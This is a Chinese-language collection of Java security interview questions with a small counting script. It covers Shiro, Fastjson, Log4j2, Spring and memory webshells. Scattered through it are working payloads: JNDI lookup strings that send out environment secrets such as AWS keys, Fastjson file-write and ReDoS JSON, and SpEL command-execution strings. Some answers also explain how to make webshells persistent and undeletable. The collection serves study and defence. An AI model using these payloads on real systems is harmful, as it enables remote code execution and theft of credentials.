├── auto.py ├── README.md ├── shiro └── README.md ├── cc └── README.md ├── log4j2 └── README.md ├── memshell └── README.md ├── fastjson └── README.md ├── spring └── README.md └── java └── README.md /auto.py: -------------------------------------------------------------------------------- 1 | # 自动更新数量统计 2 | index = open("README.md", "r+", encoding="utf-8"); 3 | lines = index.readlines() 4 | 5 | all = 0 6 | all_index = 0 7 | for i in range (0,len(lines)): 8 | if lines[i].startswith("["): 9 | line = lines[i] 10 | suffix = line.split("tree/master/")[1] 11 | suffix = suffix.split(")")[0] 12 | temp = open(suffix + "/" + "README.md", "r", encoding="utf-8") 13 | temp_lines = temp.readlines() 14 | total = 0 15 | for q in temp_lines: 16 | if q.startswith("###"): 17 | total = total + 1 18 | p = line.split("-")[0] 19 | s = line.split("个]")[1] 20 | all += total 21 | lines[i] = p + "- " + str(total) + "个]" + s 22 | print(suffix + ":" + str(total)) 23 | if lines[i].startswith("当前问题总数"): 24 | all_index = i 25 | 26 | print("total:" + str(all)) 27 | lines[all_index] = "当前问题总数:"+ str(all) + "\n" 28 | index.seek(0) 29 | index.truncate() 30 | index.writelines(lines) 31 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JavaSecInterview 2 | 3 | ## 介绍 4 | 5 | 这是什么:Java安全研究与安全开发面试题总结 6 | 7 | 最初目的:**帮助自己校招找到工作,同时帮助广大Java安全师傅顺利找到工作** 8 | 9 | 后来:其实这个库也是对于Java安全知识点的总结,方面师傅们回顾和复习防止忘记 10 | 11 | 计划定期更新,作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR 12 | 13 | ## 难度 14 | 15 | 最低难度★ 最高难度★★★★★ 16 | 17 | ## 分类 18 | 19 | 当前问题总数:97 20 | 21 | [Java本身的安全问题 - 22个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) 22 | 23 | [Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) 24 | 25 | [Fastjson组件相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) 26 | 27 | [Log4j2组件相关的安全问题 - 10个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) 28 | 29 | [Spring框架相关的安全问题 - 25个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) 30 | 31 | [内存马专题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) 32 | 33 | [反序列化CC链专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/cc) 34 | 35 | ## 参考 36 | 37 | 以下排名不分先后: 38 | 39 | https://github.com/LandGrey/SpringBootVulExploit 40 | 41 | https://github.com/feihong-cs/Java-Rce-Echo/ 42 | 43 | https://threedr3am.github.io/ 44 | 45 | https://xz.aliyun.com/t/7740 46 | 47 | https://xz.aliyun.com/t/7307 48 | 49 | https://www.cnpanda.net/ 50 | 51 | https://gv7.me/ 52 | 53 | https://github.com/safe6Sec/Fastjson 54 | 55 | https://github.com/Firebasky/Java 56 | 57 | https://y4er.com/ 58 | 59 | https://paper.seebug.org/1689/ 60 | 61 | ## Star 62 | 63 | ![](https://starchart.cc/4ra1n/JavaSecInterview.svg) 64 | -------------------------------------------------------------------------------- /shiro/README.md: -------------------------------------------------------------------------------- 1 | ## Shiro 2 | 3 | ### 怎样检测目标框架使用了Shiro(★) 4 | 5 | 直接看请求响应中是否有`rememberMe=deleteMe`这样的`Cookie` 6 | 7 | 8 | 9 | ### Shiro反序列化怎么检测key(★★★) 10 | 11 | 实例化一个`SimplePrincipalCollection`并序列化,遍历key列表对该序列化数据进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送 12 | 13 | 如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key 14 | 15 | 16 | 17 | ### Shiro 721怎么利用(★★) 18 | 19 | 需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间 20 | 21 | 22 | 23 | ### 最新版Shiro还存在反序列化漏洞吗(★) 24 | 25 | 存在,如果密钥是常见的,还是有反序列化漏洞的可能性 26 | 27 | 28 | 29 | ### Shiro反序列化Gadget选择有什么坑吗(★★★) 30 | 31 | 默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID`不一致 32 | 33 | 另一个CB1的坑是`Comparator`来自于CC,需要使用如下的才可以在没有CC依赖情况下成功RCE 34 | 35 | ```java 36 | BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 37 | ``` 38 | 39 | 40 | 41 | ### Shiro注Tomcat内存马有什么坑吗(★★★★) 42 | 43 | Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 44 | 45 | 解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致 46 | 47 | 另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,解决办法是可以写文件后`URLClassLoader`加载 48 | 49 | 50 | 51 | ### 有什么办法让Shiro洞不被别人挖到(★★) 52 | 53 | 发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 54 | 55 | 56 | 57 | ### Shiro的权限绕过问题了解吗(★★) 58 | 59 | 主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page`为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}`,原理同上 60 | -------------------------------------------------------------------------------- /cc/README.md: -------------------------------------------------------------------------------- 1 | ## CC 2 | 3 | ### 谈下CC链中三个重要的`Transformer`(★★★) 4 | 5 | `ConstantTransformer`类的`transform`方法直接返回传入的类对象 6 | 7 | `ChainedTransformer`类中的`transform`方法会链式调用其中的其他`Transformer.transform`方法 8 | 9 | `InvokerTransformer`类根据传入参数可以反射调用对应的方法 10 | 11 | `InstantiateTransformer`类可以直接实例化对象 12 | 13 | 14 | 15 | ### 谈谈CC1(★★★) 16 | 17 | 原理是`LazyMap.get`可以触发构造的`Transformer`链的`transform`方法导致`RCE` 18 | 19 | 基于动态代理触发的`LazyMap.get`,在`AnnotationInvocationHanlder`中的`invoke`方法中存在`Map.get`操作 20 | 21 | 22 | 23 | ### 谈谈CC2(★★★) 24 | 25 | 该链用到`TemplatesImpl`类,生成恶意的字节码实例化 26 | 27 | 不过触发点是`PriorityQueue`类,反射设置属性`TransformingComparator` 28 | 29 | `PriorityQueue`类是优先队列,其中包含了排序功能,该功能可以设置比较器`comparator`,而`TransformingComparator`的`compare`方法会调用对象的`transform`方法 30 | 31 | 于是通过`InvokerTransformer`类的`transform`方法调用`TemplatesImpl.newTransformer`方法导致`RCE` 32 | 33 | 34 | 35 | ### 谈谈CC3(★★★) 36 | 37 | 该链用到`TemplatesImpl`类,生成恶意的字节码实例化 38 | 39 | 仍然是基于动态代理和`LazyMap.get`触发`InstantiateTransformer`的`transform`方法导致`RCE` 40 | 41 | 42 | 43 | ### 谈谈CC4(★★★) 44 | 45 | 和CC2链一致,不过触发时候不是`InvokerTransformer`而是`InstantiateTransformer`类直接实例化`TrAXFilter`子类执行`/`导致`RCE` 46 | 47 | 48 | 49 | ### 谈谈CC5(★★★) 50 | 51 | 还是基于`LazyMap.get`触发的,不过没有动态代理,是通过`BadAttributeValueExpException.readObject()`调用`TiedMapEntry.toString()` 52 | 53 | 在`TiedMapEntry.getValue()`中存在`Map.get`导致`LazyMap.get`触发`transform` 54 | 55 | 56 | 57 | ### 谈谈CC6(★★★) 58 | 59 | 还是基于`LazyMap.get`触发的,通过`HashMap.readObject()`到达`HashMap.hash()`方法,由于key是`TiedMapEntry`所以调用`TiedMapEntry.hashCode()` 60 | 61 | 而`hashCode`方法会调用到`TiedMapEntry.getValue()`方法,由于`Map.get`导致`LazyMap.get`触发`transform` 62 | 63 | 64 | 65 | ### 谈谈CC7(★★★) 66 | 67 | 还是基于`LazyMap.get`触发的,通过`Hashtable.readObject()`触发了key的`equals`方法,跟入`AbstractMap.equals`方法 68 | 69 | 其中包含了`Map.get`导致`LazyMap.get`触发`transform` 70 | 71 | 但该链有一个坑:哈希碰撞 -------------------------------------------------------------------------------- /log4j2/README.md: -------------------------------------------------------------------------------- 1 | ## Log4j2 2 | 3 | ### 谈谈Log4j2漏洞(★★) 4 | 5 | 漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 6 | 7 | 8 | 9 | ### Log4j2漏洞的黑盒检测(★) 10 | 11 | 由于该漏洞的特性,必须要出网才可以检测,例如`dnslog`的方式 12 | 13 | 在内网中也可不使用`dnslog`而是自行实现伪`JDNI/LDAP`的服务端用于探测 14 | 15 | 16 | 17 | ### Log4j2漏洞的白盒检测(★) 18 | 19 | 检查`pom.xml`或`gradle`中的依赖,是否存在`log4j2-api`和`log4j2-core`小于`2.15.0`则存在漏洞 20 | 21 | 22 | 23 | ### Log4j2的紧急修复手段(★★) 24 | 25 | 在JVM参数中添加`-Dlog4j2.formatMsgNoLookups=true` 26 | 27 | 系统环境变量中将`LOG4J_FORMAT_MSG_NO_LOOKUPS`设置为`true` 28 | 29 | 创建`log4j2.component.properties`文件并增加配置`log4j2.formatMsgNoLookups=true` 30 | 31 | 不重启应用情况下的修复手段参考另一个问题 32 | 33 | 34 | 35 | ### 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) 36 | 37 | 修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常绕过HOSOT限制,然后`lookup`触发RCE 38 | 39 | 40 | 41 | ### Log4j2的两个DOS CVE了解吗(★★) 42 | 43 | 其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 44 | 45 | 另一个DOS是嵌套标签`${}`递归解析导致栈溢出 46 | 47 | 48 | 49 | ### Log4j2 2.15.0正式版的绕过了解吗(★★★) 50 | 51 | 正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功 52 | 53 | 54 | 55 | ### Log4j2绕WAF的手段有哪些(★★) 56 | 57 | 使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper`和`lower`标签进行嵌套 58 | 59 | 有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符 60 | 61 | 例如:`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}` 62 | 63 | 64 | 65 | ### Log4j2除了RCE还有什么利用姿势(★★★) 66 | 67 | 利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` 68 | 69 | 在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息,不过`SpringBoot`默认不使用`log4j2` 70 | 71 | 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` 72 | 73 | 74 | 75 | ### 不停止运行程序如何修复Log4j2漏洞(★★★) 76 | 77 | 利用JavaAgent改JVM中的字节码,可以直接删了`JndiLookup`的功能 78 | 79 | 有公众号提出类似`Shiro`改`Key`的思路,利用反射把`JndiLookup`删了也是一种办法 -------------------------------------------------------------------------------- /memshell/README.md: -------------------------------------------------------------------------------- 1 | ## 内存马 2 | 3 | ### Tomcat和Spring内存马分别有哪些(★) 4 | 5 | Tomcat内存马有:Filter型,Servlet型,Listener型 6 | 7 | Spring内存马有:Controller型,Interceptor型 8 | 9 | Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` 10 | 11 | 12 | 13 | ### Servlet/Filter内存马查杀手段是怎样的(★★★) 14 | 15 | 直接能想到的办法是利用Java Agent遍历所有JVM中的class,判断是否是内存马 16 | 17 | 例如使用阿里的arthas分析,根据继承实现类黑名单,注解包名类名等黑名单来做 18 | 19 | 例如`LandGrey`师傅的`copagent`项目,根据黑名单和风险注解作为依据, 20 | 21 | 或者使用c0ny1师傅的`java-memshell-scanner`项目,从Tomcat API角度删除 22 | 23 | 24 | 25 | ### Filter内存马查杀时候有什么明显特征吗(★★★) 26 | 27 | 首先是类名可能是恶意的,或者包名和项目名不符,可以一眼看出 28 | 29 | 其次优先级肯定是第一位的,这由内存马的特性决定,所以应该重点关注第一个Filter 30 | 31 | 观察ClassLoader是否是不正常的,以及是否存在对应的Class文件 32 | 33 | 34 | 35 | ### 如何实现无法删除的Servlet/Filter内存马(★★★★) 36 | 37 | 有一种思路是在`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法 38 | 39 | 所以另外的思路是跑一个不死线程,循环检测该内存马是否存在,以及注册的功能 40 | 41 | 42 | 43 | ### 内存马如何持久化(★★★) 44 | 45 | 内存马持久化这个问题必须要往本地写文件 46 | 47 | 一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,在`doFilter`等位置插入恶意字节码 48 | 49 | 4ra1n师傅提到的修改Tomcat的Lib也是一种手段,在默认开启的`WsFilter`中修改代码 50 | 51 | 52 | 53 | ### 内存马持久化写字节码方式除了`@Filter`标签还有什么办法(★★★) 54 | 55 | 使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件,取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法,我们可以注册一个`webshell`的`filter` 56 | 57 | 58 | 59 | ### Java Agent内存马的查杀(★★★) 60 | 61 | 网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中可能有问题的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 62 | 63 | 64 | 65 | ### Java Agent内存马的查杀的难点是什么(★★★★) 66 | 67 | 一般Agent内存马会调用`Java Agent`提供的`redefineClass`方法加入内存马 68 | 69 | 如果想检测,拿到的字节码并不是修改过的字节码,而是原始字节码,因此无法判断某个类是否合法 70 | 71 | 准确描述:无法获取到被`redefineClass`修改后的字节码,只能获取到被`retransformClass`修改后的字节码 72 | 73 | 74 | ### Java Agent内存马通常Hook的点有哪些(★★★★★) 75 | 76 | 根据JavaEE规范,最先想到的点应该是`javax/servlet/http/HttpServlet#service` 77 | 78 | 其次是位于`Filter`链头部的`org/apache/catalina/core/ApplicationFilterChain#doFilter` 79 | 80 | 针对特殊框架可以做特殊处理,例如针对`Spring`的`org/springframework/web/servlet/DispatcherServlet#doService` 81 | 82 | 还有4ra1n师傅提出关于`Tomcat`自带`Filter`的修改:`org/apache/tomcat/websocket/server/WsFilter#doFilter` 83 | 84 | 85 | 86 | ### 查到Java Agent内存马那么应该如何杀(★★) 87 | 88 | 这个比较简单,用`Agent`把查到的类对应的方法改成原始的字节码即可 89 | 90 | 获取原始字节码也不难,从本地或标准库中查找,然后利用`Javassist`修改 91 | 92 | 93 | 94 | ### 如果有一个陌生的框架你如何挖内存马(★★★) 95 | 96 | 核心是找到类似`Tomcat`和`Spring`中的`Context`对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。 97 | 98 | 可以从常见的类名入手:Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等 99 | 100 | 可以参考c0ny1师傅的`java-object-searcher`项目,半自动搜索`request`对象 101 | 102 | 103 | 104 | ### 是否了解Spring Cloud Gateway如何注入内存马(★★★★) 105 | 106 | 参考`c0ny1`师傅的文章,由于`Spring Cloud Gateway`并不基于`Tomcat`而是基于`Netty`框架,需要构造一个`handler`用作内存马。另外的思路是构造上层的内存马,也就是基于`Spring`的内存马,向`RequestMappingHandlerMapping`中注入新的映射。具体代码使用到了`Sping`的一些工具类,在`SPEL`中反射调用了`defineClass`以达到执行代码的效果 -------------------------------------------------------------------------------- /fastjson/README.md: -------------------------------------------------------------------------------- 1 | # Fastjson 2 | 3 | ### 使用`JSON.parse()`和`JSON.parseObject()`的不同(★) 4 | 5 | 前者会在JSON字符串中解析字符串获取`@type`指定的类,后者则会直接使用参数中的`class`,并且对应类中所有`getter`和`setter`都会被调用 6 | 7 | 8 | 9 | ### 什么情况下反序列化过程会反射调用`getter`(★) 10 | 11 | 符合`getter`规范的情况且不存在`setter` 12 | 13 | 14 | 15 | ### 如果不存在`setter`和`getter`方法可以反射设置值吗(★) 16 | 17 | 需要服务端开启`Feature.SupportNonPublicFiel`参数,实战无用 18 | 19 | 20 | 21 | ### Fastjson在反序列化`byte[]`类型的属性时会做什么事情(★) 22 | 23 | 将会在反序列化时候进行`base64`编码 24 | 25 | 26 | 27 | ### 谈谈常见的几种Payload(★★★) 28 | 29 | 首先是最常见的`JdbcRowSetImpl`利用`JNDI`注入方式触发,需要出网 30 | 31 | 利用`TemplatesImpl`类比较鸡肋,需要服务端开启特殊参数 32 | 33 | 不出网的利用方式有一种`BasicDataSource`配合`BCEL`可实现`RCE` 34 | 35 | 另外某个版本之后支持`$ref`的功能,也可以构造一些Payload 36 | 37 | 38 | 39 | ### 是否存在不出网的Fastjson利用方式(★★★) 40 | 41 | 第一种是`TemplatesImpl`类加载字节码做到不出网利用,但需要开启特殊参数实战鸡肋 42 | 43 | 第二种方式是服务端存在在`tomcat-dbcp.jar`情况下,使用`BasicDataSource`配合`BCEL`可实现不出网`RCE` 44 | 45 | 46 | 47 | ### 谈谈1.2.47版本之前各个小版本的绕过(★★★) 48 | 49 | 首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 50 | 51 | 52 | 53 | ### Fastjson应该如何探测(★★) 54 | 55 | 使用`dnslog`做检测是最常见的方式,利用`java.net.Inet[4][6]Address`或`java.net.InetSocketAddress`或`java.net.URL`类,之所以使用这三个因为不在黑名单中,可以直接检测 56 | 57 | 除了这种方式,还可以自行实现虚假的`JNDI Server`作为反连平台,用`JdbcRowSetImpl`这样的`Payload`来触发 58 | 59 | 如果不能出网,可以结合不出网的利用方式和中间件的回显手段,执行无害命令检测,或利用报错回显 60 | 61 | 62 | 63 | ### 谈谈1.2.68版本的绕过(★★) 64 | 65 | 1.2.68之前的66和67可以利用`JNDI`相关类,比如`Shiro`的`JndiObjectFactory`和`ignite`项目的类 66 | 67 | 1.2.68中有一个期望类属性,实现了期望接口的类可以被反序列化 68 | 69 | 利用类必须是`expectClass`类的子类或实现类,并且不在黑名单中,即可直接绕过`AutoType`检测,例如常见的`AutoCloseable` 70 | 71 | 这样的Payload通常第一个`@type`是`AutoCloseable`等合法类,第二个`@type`是恶意类,后续参数是恶意类需要的参数 72 | 73 | 74 | 75 | ### 谈谈Fastjson的WAF Bypass手段(★★★) 76 | 77 | Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时还会自动将键值进行`unicode`与十六进制解码 78 | 79 | 例如针对`@type`的绕过:`\u0040\u0074\u0079\u0070\u0065` 80 | 81 | 加入特殊字符的绕过:`{\n"@type":"com.sun.rowset.JdbcRowSetImpl"...}` 82 | 83 | 84 | 85 | ### 除了RCE还能有什么利用(★★★) 86 | 87 | 信息泄露或者ReDoS,参考下方Payload 88 | 89 | ```json 90 | { 91 | "regex":{ 92 | "$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z])?[a-zA-Z]*)*$/]" 93 | }, 94 | "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" 95 | } 96 | ``` 97 | 98 | 还可以实现写文件,例如以下这个针对1.2.68写文件的Payload 99 | 100 | ```json 101 | { 102 | "@type": "java.lang.AutoCloseable", 103 | "@type": "java.io.FileOutputStream", 104 | "file": "/tmp/nonexist", 105 | "append": "false" 106 | } 107 | ``` 108 | 109 | 110 | 111 | ### 是否了解自动挖掘Fastjson利用链的方式(★★★★) 112 | 113 | 利用链主要集中在`getter`和`setter`方法中,如果`getter`或者`setter`的方法中存在一些危险操作比如`JNDI`查询,如果参数可控就可以导致`JNDI`注入 114 | 115 | 简单来说,直接搜对应项目中`JNDI`的`lookup`方法,可以基于`ASM`解压分析`Jar`包,这种半自动结合人工审核的方式其实很好用(之前挖到过几个) 116 | 117 | 进一步来说,全自动的方式可以使用`codeql`或`gadget-inspector`工具来做,主要是加入了污点传递,分析`getter/setter`参数如何传递到`lookup` 118 | 119 | 关于全自动分析原理,一般面试官不会问太深入,因为可能涉及到静态分析相关的技术,如果是实验室可能需要进一步学习 -------------------------------------------------------------------------------- /spring/README.md: -------------------------------------------------------------------------------- 1 | ## Spring 2 | 3 | ### 谈谈Spring Whitelabel SPEL RCE(★★★) 4 | 5 | Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析实现,造成`RCE`漏洞 6 | 7 | 8 | 9 | ### 谈谈Spring Data REST SPEL RCE(★★) 10 | 11 | 当使用`JSON PATCH`对数据修改时,传入的`PATH`参数会解析`SPEL` 12 | 13 | 14 | 15 | ### 谈谈Spring Web Flow SPEL RCE(★★) 16 | 17 | 在`Model`的数据绑定上存在漏洞,但漏洞出发条件比较苛刻 18 | 19 | 由于没有明确指定相关`Model`的具体属性,导致从表单可以提交恶意的表达式`SPEL`被执行 20 | 21 | 22 | 23 | ### 谈谈Spring Messaging SPEL RCE(★★) 24 | 25 | 其中的`STOMP`模块发送订阅命令时,支持选择器标头,该选择器充当基于内容路由的筛选器 26 | 27 | 这个筛选器`selector`属性的值会解析`SPEL`导致RCE 28 | 29 | 30 | 31 | ### 谈谈Spring Data Commons SPEL RCE(★★) 32 | 33 | 请求参数中如何包含`SPEL`会被解析,参考下方Payload 34 | 35 | ```text 36 | username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")] 37 | ``` 38 | 39 | 40 | 41 | ### 谈谈SpringCloud SnameYAML RCE(★★★) 42 | 43 | 该漏洞的利用条件是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 44 | 45 | 在`VPS`上开启`HTTP Server`并放入基于`ScriptEngineManager`和`URLClassLoader`的`yml`,制作特殊的JAR并指定 46 | 47 | 通过`/env`设置`spring.cloud.bootstrap.location`属性再刷新配置即可利用`SnakeYAML`的反序列化漏洞实现`RCE` 48 | 49 | 50 | 51 | ### 谈谈SpringCloud Eureka RCE(★★★) 52 | 53 | 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 54 | 55 | 首先搭建恶意的`XStream Server`其中包含了`Payload` 56 | 57 | 通过`/env`设置`eureka.client.serviceUrl.defaultZone`属性再刷新配置即可访问远程`XStream Payload`触发反序列化达到`RCE` 58 | 59 | 60 | 61 | ### 谈谈SpringBoot Jolokia Logback JNDI RCE(★★★) 62 | 63 | 如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 64 | 65 | 通过`/jolokia/list`查看是否存在`ch.qos.logback.classic.jmx.JMXConfigurator`和`reloadByURL`关键词 66 | 67 | 搭建一个`HTTP Server`保存`XML`配置文件,再启动恶意的`JNDI Server`,请求指定的`URL`即可触发`JNDI`注入漏洞达到`RCE` 68 | 69 | 70 | 71 | ### 谈谈SpringBoot Jolokia Realm JNDI RCE(★★★) 72 | 73 | 如果目标可出网且存在`/jolokia`或`/actuator/jolokia`接口 74 | 75 | 启动恶意的`JNDI Server`后调用`createJNDIRealm`创建`JNDIRealm`,然后写入`JNDI`相关的配置文件,重启后触发`JNDI`注入漏洞达到`RCE` 76 | 77 | 78 | 79 | ### 谈谈SpringBoot Restart H2 Database Query RCE(★★★) 80 | 81 | 漏洞利用条件是可以访问`/env`设置属性,可以访问`/restart`重启应用 82 | 83 | 设置`spring.datasource.hikari.connection-test-query`属性为创建自定义函数的`SQL`语句,再数据库连接之前会执行该`SQL`语句 84 | 85 | 通过重启应用,建立新的数据库连接,触发包含命令执行的自定义函数,达到`RCE` 86 | 87 | 88 | 89 | ### 谈谈SpringBoot H2 Database Console JNDI RCE(★★★) 90 | 91 | 目标可出网且存在`spring.h2.console.enabled=true`属性时可以利用 92 | 93 | 首先通过`/h2-console`中记录下`JSESSIONID`值,然后启动恶意的`JNDI Server`,构造对应域名和`JSESSIONID`的特殊`POST`请求触发`JNDI`注入漏洞达到`RCE` 94 | 95 | 96 | 97 | ### 谈谈SpringBoot Mysql JDBC RCE(★★★) 98 | 99 | 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置,不同的是需要存在`mysql-connector-java`依赖 100 | 101 | 通过`/env`得到`mysql`版本等信息,测试是否存在常见的`Gadget`依赖,访问`spring.datasource.url`设置指定的`MySQL JDBC URL`地址。刷新配置后当网站进行数据库操作时,会使用恶意的`MySQL JDBC URL`建立连接 102 | 103 | 恶意的`MySQL Server`会返回序列化`Payload`数据,利用本地的`Gadget`反序列化造成`RCE` 104 | 105 | 106 | 107 | ### 谈谈SpringBoot Restart logging.config Logback JNDI RCE(★★★) 108 | 109 | 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 110 | 111 | 搭建一个`HTTP Server`保存`XML`配置文件,再启动恶意的`JNDI Server` 112 | 113 | 通过`/env`接口设置`logging.config`属性为恶意的`XML`配置文件,重启触发`JNDI`注入漏洞达到`RCE` 114 | 115 | 116 | 117 | ### 谈谈SpringBoot Restart logging.config Groovy RCE(★★★) 118 | 119 | 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 120 | 121 | 启动恶意的`JNDI Server`并通过`/env`接口设置`logging.config`属性为恶意的`Groovy`文件在重启后生效 122 | 123 | 在`logback-classic`组件的`ch.qos.logback.classic.util.ContextInitializer`中会判断`url`是否以`groovy`结尾,如果是则最终会执行文件内容中的`groovy`代码达到`RCE` 124 | 125 | 126 | 127 | 128 | ### 谈谈SpringBoot Restart spring.main.sources Groovy RCE(★★★) 129 | 130 | 类似SpringBoot Restart logging.config Groovy RCE 131 | 132 | 组件中的`org.springframework.boot.BeanDefinitionLoader`判断`url`是否以`groovy`结尾,如果是则最终会执行文件内容中的`groovy`代码,造成`RCE`漏洞 133 | 134 | 135 | 136 | ### 谈谈SpringBoot Restart spring.datasource.data H2 Database RCE(★★★) 137 | 138 | 该漏洞的利用条件同样是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/restart`重启 139 | 140 | 开一个`HTTP Server`保存恶意SQL语句,这是一个执行命令的函数,设置属性`spring.datasource.data`为该地址,重启后设置生效 141 | 142 | 组件中的`org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer`使用`runScripts`方法执行请求`URL`内容中的`SQL`代码,造成`RCE`漏洞 143 | 144 | 145 | 146 | ### 谈谈最新的Spring Cloud Gateway SPEL的RCE漏洞(★★★) 147 | 148 | 本质还是`SPEL`表达式,本来这是一个需要修改配置文件导致的鸡肋`RCE`漏洞 149 | 150 | 但因为`Gateway`提供了`Actuator`相关的`API`可以动态地注册`Filter`,而在注册的过程中可以设置`SPEL`表达式 151 | 152 | 实战利用程度可能不高,目标未必开着`Actuator`接口,就算开放也不一定可以正常访问注册`Filter`的接口 153 | 154 | 155 | 156 | ### Spring Cloud Gateway SPEL的RCE漏洞可以回显吗(★★★★) 157 | 158 | P牛在漏洞爆出的凌晨就发布了相关的环境和POC 159 | 160 | 参考P牛的回显代码:在相应头里面添加一个新的头,利用工具类把执行回显写入 161 | 162 | ```json 163 | { 164 | "name": "AddResponseHeader", 165 | "args": { 166 | "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}", 167 | "name": "cmd123" 168 | } 169 | } 170 | ``` 171 | 172 | 173 | 174 | ### Spring Cloud Gateway SPEL的RCE漏洞如何修复的(★★) 175 | 176 | 参考很多`SPEL`漏洞的修复手段,默认情况使用`StandardContext`可以执行`Runtime.getRuntime().exec()`这样的危险方法 177 | 178 | 修复是重写一个`GatewayContext`用来执行`SPEL`,这个`context`的底层是`SimpleEvaluationContext`只能执行有限的操作 179 | 180 | 181 | 182 | ### Spring Cloud Function RCE漏洞了解吗(★★) 183 | 184 | 这也是`Spring Cloud`种的一个组件,不过并不常用 185 | 186 | 利用方式是某个请求头支持`SpEL`的格式并且会执行 187 | 188 | ```http 189 | POST / HTTP/1.1 190 | ... 191 | spring.cloud.function.routing-expression: SPEL 192 | ``` 193 | 194 | 修复方案比较简单,使用`SimpleEvaluationContext`即可 195 | 196 | 197 | 198 | ### Spring Framework 拒绝服务漏洞了解吗(★★) 199 | 200 | 参考先知社区`4ra1n`师傅的文章:https://xz.aliyun.com/t/11114 201 | 202 | 危害不大,但影响较广,所有能够执行`SpEL`的框架,都可以通过初始化巨大的数组造成拒绝服务漏洞 203 | 204 | 修复方案是限制`SpEL`种数组初始化的长度(一般业务也不可能在`SpEL`种初始化很大的数组) 205 | 206 | 207 | 208 | ### 谈谈Spring RCE的基本原理(★★★★) 209 | 210 | 